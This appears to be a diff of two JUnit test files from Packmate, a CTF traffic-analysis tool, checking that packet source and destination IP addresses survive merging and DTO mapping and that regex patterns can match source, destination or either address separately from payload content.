|
import ru.serega6531.packmate.model.pojo.PacketDto;
|
||||||
|
import ru.serega6531.packmate.service.optimization.PacketsMerger;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.*;
|
||||||
|
|
||||||
|
class PacketAddressesTest {
|
||||||
|
|
||||||
|
@ParameterizedTest
|
||||||
|
@CsvSource({
|
||||||
|
"192.0.2.1, 192.0.2.2, true",
|
||||||
|
"192.0.2.2, 192.0.2.1, false",
|
||||||
|
"2001:db8::1, 2001:db8::2, true",
|
||||||
|
"2001:db8::2, 2001:db8::1, false"
|
||||||
|
})
|
||||||
|
void addressesSurviveMergingAndDtoMapping(String source, String destination, boolean incoming) {
|
||||||
|
Packet first = Packet.builder()
|
||||||
|
.sourceIp(source)
|
||||||
|
.destinationIp(destination)
|
||||||
|
.incoming(incoming)
|
||||||
|
.content(new byte[] {1})
|
||||||
|
.build();
|
||||||
|
Packet second = first.toBuilder().content(new byte[] {2}).build();
|
||||||
|
List<Packet> packets = new ArrayList<>(List.of(first, second));
|
||||||
|
|
||||||
|
new PacketsMerger().mergeAdjacentPackets(packets);
|
||||||
|
|
||||||
|
assertEquals(1, packets.size());
|
||||||
|
PacketDto dto = new ApplicationConfiguration().modelMapper().map(packets.get(0), PacketDto.class);
|
||||||
|
assertEquals(source, dto.getSourceIp());
|
||||||
|
assertEquals(destination, dto.getDestinationIp());
|
||||||
|
assertEquals(incoming, dto.isIncoming());
|
||||||
|
assertArrayEquals(new byte[] {1, 2}, dto.getContent());
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void legacyPacketsWithoutAddressesStillMap() {
|
||||||
|
Packet packet = Packet.builder().content(new byte[] {1}).build();
|
||||||
|
|
||||||
|
PacketDto dto = new ApplicationConfiguration().modelMapper().map(packet, PacketDto.class);
|
||||||
|
|
||||||
|
assertNull(dto.getSourceIp());
|
||||||
|
assertNull(dto.getDestinationIp());
|
||||||
|
assertArrayEquals(packet.getContent(), dto.getContent());
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,182 @@
|
|||||||
|
package ru.serega6531.packmate.service;
|
||||||
|
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.EnumSource;
|
||||||
|
import ru.serega6531.packmate.configuration.ApplicationConfiguration;
|
||||||
|
import ru.serega6531.packmate.model.CtfService;
|
||||||
|
import ru.serega6531.packmate.model.FoundPattern;
|
||||||
|
import ru.serega6531.packmate.model.Packet;
|
||||||
|
import ru.serega6531.packmate.model.Pattern;
|
||||||
|
import ru.serega6531.packmate.model.enums.*;
|
||||||
|
import ru.serega6531.packmate.model.pojo.FoundPatternDto;
|
||||||
|
import ru.serega6531.packmate.model.pojo.PatternCreateDto;
|
||||||
|
import ru.serega6531.packmate.model.pojo.PatternDto;
|
||||||
|
import ru.serega6531.packmate.repository.PatternRepository;
|
||||||
|
|
||||||
|
import java.lang.reflect.Proxy;
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
import java.time.Duration;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.regex.PatternSyntaxException;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.*;
|
||||||
|
|
||||||
|
class IpPatternMatcherTest {
|
||||||
|
|
||||||
|
private Packet packet(String source, String destination, String content) {
|
||||||
|
return Packet.builder().sourceIp(source).destinationIp(destination)
|
||||||
|
.content(content.getBytes(StandardCharsets.UTF_8)).build();
|
||||||
|
}
|
||||||
|
|
||||||
|
private Pattern pattern(int id, PatternSearchTarget target, String regex) {
|
||||||
|
Pattern pattern = new Pattern();
|
||||||
|
pattern.setId(id);
|
||||||
|
pattern.setSearchType(PatternSearchType.REGEX);
|
||||||
|
pattern.setSearchTarget(target);
|
||||||
|
pattern.setValue(regex);
|
||||||
|
pattern.setEnabled(true);
|
||||||
|
pattern.setActionType(PatternActionType.FIND);
|
||||||
|
pattern.setDirectionType(PatternDirectionType.BOTH);
|
||||||
|
return pattern;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void sourceAndDestinationAreMatchedIndependentlyFromPayload() {
|
||||||
|
Packet packet = packet("10.20.30.4", "192.0.2.8", "192.0.2.99");
|
||||||
|
List<Pattern> patterns = List.of(
|
||||||
|
pattern(1, PatternSearchTarget.SOURCE_IP, "^10\\.20\\.30\\.[0-9]+$"),
|
||||||
|
pattern(2, PatternSearchTarget.DESTINATION_IP, "^192\\.0\\.2\\.8$"),
|
||||||
|
pattern(3, PatternSearchTarget.SOURCE_IP, "192\\.0\\.2"),
|
||||||
|
pattern(4, PatternSearchTarget.DESTINATION_IP, "^10\\."),
|
||||||
|
pattern(5, PatternSearchTarget.EITHER_IP, "192\\.0\\.2\\.99"));
|
||||||
|
|
||||||
|
Set<FoundPattern> matches = new PatternMatcher(packet, patterns).findMatches();
|
||||||
|
|
||||||
|
assertEquals(2, matches.size());
|
||||||
|
assertTrue(matches.stream().anyMatch(m -> m.getPatternId() == 1 && m.getSearchTarget() == PatternSearchTarget.SOURCE_IP));
|
||||||
|
assertTrue(matches.stream().anyMatch(m -> m.getPatternId() == 2 && m.getSearchTarget() == PatternSearchTarget.DESTINATION_IP));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void eitherIpHandlesIpv6AndKeepsMatchesForBothEndpoints() {
|
||||||
|
Packet packet = packet("2001:db8:0:0:0:0:0:1", "2001:db8:0:0:0:0:0:2", "body");
|
||||||
|
Set<FoundPattern> matches = new PatternMatcher(packet,
|
||||||
|
List.of(pattern(1, PatternSearchTarget.EITHER_IP, "(?i)^2001:DB8:"))).findMatches();
|
||||||
|
|
||||||
|
assertEquals(Set.of(PatternSearchTarget.SOURCE_IP, PatternSearchTarget.DESTINATION_IP),
|
||||||
|
matches.stream().map(FoundPattern::getSearchTarget).collect(java.util.stream.Collectors.toSet()));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void legacyPacketsWithoutAddressesDoNotMatchEvenWildcard() {
|
||||||
|
assertTrue(new PatternMatcher(packet(null, null, "10.20.30.4"),
|
||||||
|
List.of(pattern(1, PatternSearchTarget.EITHER_IP, ".*"))).findMatches().isEmpty());
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void missingEndpointDoesNotPreventMatchingPresentEndpoint() {
|
||||||
|
Set<FoundPattern> matches = new PatternMatcher(packet(null, "192.0.2.8", "body"),
|
||||||
|
List.of(pattern(1, PatternSearchTarget.EITHER_IP, "^192\\."))).findMatches();
|
||||||
|
assertEquals(1, matches.size());
|
||||||
|
assertEquals(PatternSearchTarget.DESTINATION_IP, matches.iterator().next().getSearchTarget());
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void addressAndContentMatchesDoNotSuppressEachOther() {
|
||||||
|
Packet packet = packet("10.20.30.4", "192.0.2.8", "FLAG");
|
||||||
|
Pattern address = pattern(1, PatternSearchTarget.SOURCE_IP, "^10\\.");
|
||||||
|
Pattern content = pattern(2, PatternSearchTarget.CONTENT, "FLAG");
|
||||||
|
|
||||||
|
for (List<Pattern> order : List.of(List.of(address, content), List.of(content, address))) {
|
||||||
|
Set<FoundPattern> matches = new PatternMatcher(packet, order).findMatches();
|
||||||
|
assertEquals(2, matches.size());
|
||||||
|
assertTrue(matches.stream().anyMatch(m -> m.getSearchTarget() == PatternSearchTarget.CONTENT && m.getEndPosition() == 3));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void emptyRegexMatchOnIpTerminatesAndMarksAddress() {
|
||||||
|
assertTimeoutPreemptively(Duration.ofSeconds(1), () -> {
|
||||||
|
Set<FoundPattern> matches = new PatternMatcher(packet("10.20.30.4", null, "body"),
|
||||||
|
List.of(pattern(1, PatternSearchTarget.SOURCE_IP, "^"))).findMatches();
|
||||||
|
assertEquals(1, matches.size());
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest
|
||||||
|
@EnumSource(value = PatternSearchType.class, names = {"SUBSTRING", "SUBBYTES"})
|
||||||
|
void nonRegexIpPatternsAreRejected(PatternSearchType searchType) {
|
||||||
|
Pattern pattern = pattern(1, PatternSearchTarget.EITHER_IP, "10");
|
||||||
|
pattern.setSearchType(searchType);
|
||||||
|
assertThrows(IllegalArgumentException.class, () -> PatternMatcher.compilePattern(pattern));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void invalidIpRegexIsRejectedBeforeSaving() {
|
||||||
|
assertThrows(PatternSyntaxException.class,
|
||||||
|
() -> PatternMatcher.compilePattern(pattern(1, PatternSearchTarget.EITHER_IP, "[")));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void targetsRoundTripThroughDtosAndLegacyNullMeansContent() {
|
||||||
|
var mapper = new ApplicationConfiguration().modelMapper();
|
||||||
|
var dto = new PatternCreateDto();
|
||||||
|
assertEquals(PatternSearchTarget.CONTENT, mapper.map(dto, Pattern.class).getSearchTarget());
|
||||||
|
dto.setSearchTarget(PatternSearchTarget.EITHER_IP);
|
||||||
|
Pattern pattern = mapper.map(dto, Pattern.class);
|
||||||
|
pattern.setId(1);
|
||||||
|
assertEquals(PatternSearchTarget.EITHER_IP, mapper.map(pattern, PatternDto.class).getSearchTarget());
|
||||||
|
pattern.setSearchTarget(null);
|
||||||
|
assertEquals(PatternSearchTarget.CONTENT, mapper.map(pattern, PatternDto.class).getSearchTarget());
|
||||||
|
FoundPattern found = FoundPattern.builder().searchTarget(PatternSearchTarget.SOURCE_IP).build();
|
||||||
|
assertEquals(PatternSearchTarget.SOURCE_IP, mapper.map(found, FoundPatternDto.class).getSearchTarget());
|
||||||
|
assertEquals(PatternSearchTarget.CONTENT, mapper.map(FoundPattern.builder().build(), FoundPatternDto.class).getSearchTarget());
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void existingContentPatternsDoNotStartMatchingAddressMetadata() {
|
||||||
|
Pattern pattern = pattern(1, null, "10\\.20\\.30\\.4");
|
||||||
|
assertTrue(new PatternMatcher(packet("10.20.30.4", "192.0.2.8", "body"), List.of(pattern)).findMatches().isEmpty());
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void liveFindIgnoreDirectionAndServiceFiltersReceiveAddresses() {
|
||||||
|
Pattern find = pattern(1, PatternSearchTarget.SOURCE_IP, "^10\\.");
|
||||||
|
find.setServiceId(80);
|
||||||
|
find.setDirectionType(PatternDirectionType.INPUT);
|
||||||
|
Pattern ignore = pattern(2, PatternSearchTarget.EITHER_IP, "^192\\.");
|
||||||
|
ignore.setActionType(PatternActionType.IGNORE);
|
||||||
|
Pattern disabled = pattern(3, PatternSearchTarget.EITHER_IP, ".*");
|
||||||
|
disabled.setEnabled(false);
|
||||||
|
Pattern deleted = pattern(4, PatternSearchTarget.EITHER_IP, ".*");
|
||||||
|
deleted.setDeleted(true);
|
||||||
|
PatternService service = service(List.of(find, ignore, disabled, deleted));
|
||||||
|
CtfService http = new CtfService();
|
||||||
|
http.setPort(80);
|
||||||
|
Packet packet = packet("10.20.30.4", "192.0.2.8", "body");
|
||||||
|
|
||||||
|
var found = service.findMatches(packet, http, PatternDirectionType.INPUT, PatternActionType.FIND);
|
||||||
|
assertEquals(1, found.size());
|
||||||
|
assertEquals(1, found.iterator().next().getPatternId());
|
||||||
|
assertTrue(service.findMatches(packet, http, PatternDirectionType.OUTPUT, PatternActionType.FIND).isEmpty());
|
||||||
|
assertEquals(2, service.findMatches(packet, http, PatternDirectionType.INPUT, PatternActionType.IGNORE)
|
||||||
|
.iterator().next().getPatternId());
|
||||||
|
http.setPort(443);
|
||||||
|
assertTrue(service.findMatches(packet, http, PatternDirectionType.INPUT, PatternActionType.FIND).isEmpty());
|
||||||
|
assertEquals(1, service.matchOne(packet, find).size());
|
||||||
|
}
|
||||||
|
|
||||||
|
private PatternService service(List<Pattern> patterns) {
|
||||||
|
PatternRepository repository = (PatternRepository) Proxy.newProxyInstance(
|
||||||
|
PatternRepository.class.getClassLoader(), new Class<?>[] {PatternRepository.class},
|
||||||
|
(proxy, method, args) -> {
|
||||||
|
if (method.getName().equals("findAll")) return patterns;
|
||||||
|
throw new UnsupportedOperationException(method.getName());
|
||||||
|
});
|
||||||
|
PatternService service = new PatternService(repository, null, null, new ApplicationConfiguration().modelMapper());
|
||||||
|
service.init();
|
||||||
|
return service;
|
||||||
|
}
|
||||||
|
}
|
||||||
Loading…
Reference in New Issue
Block a user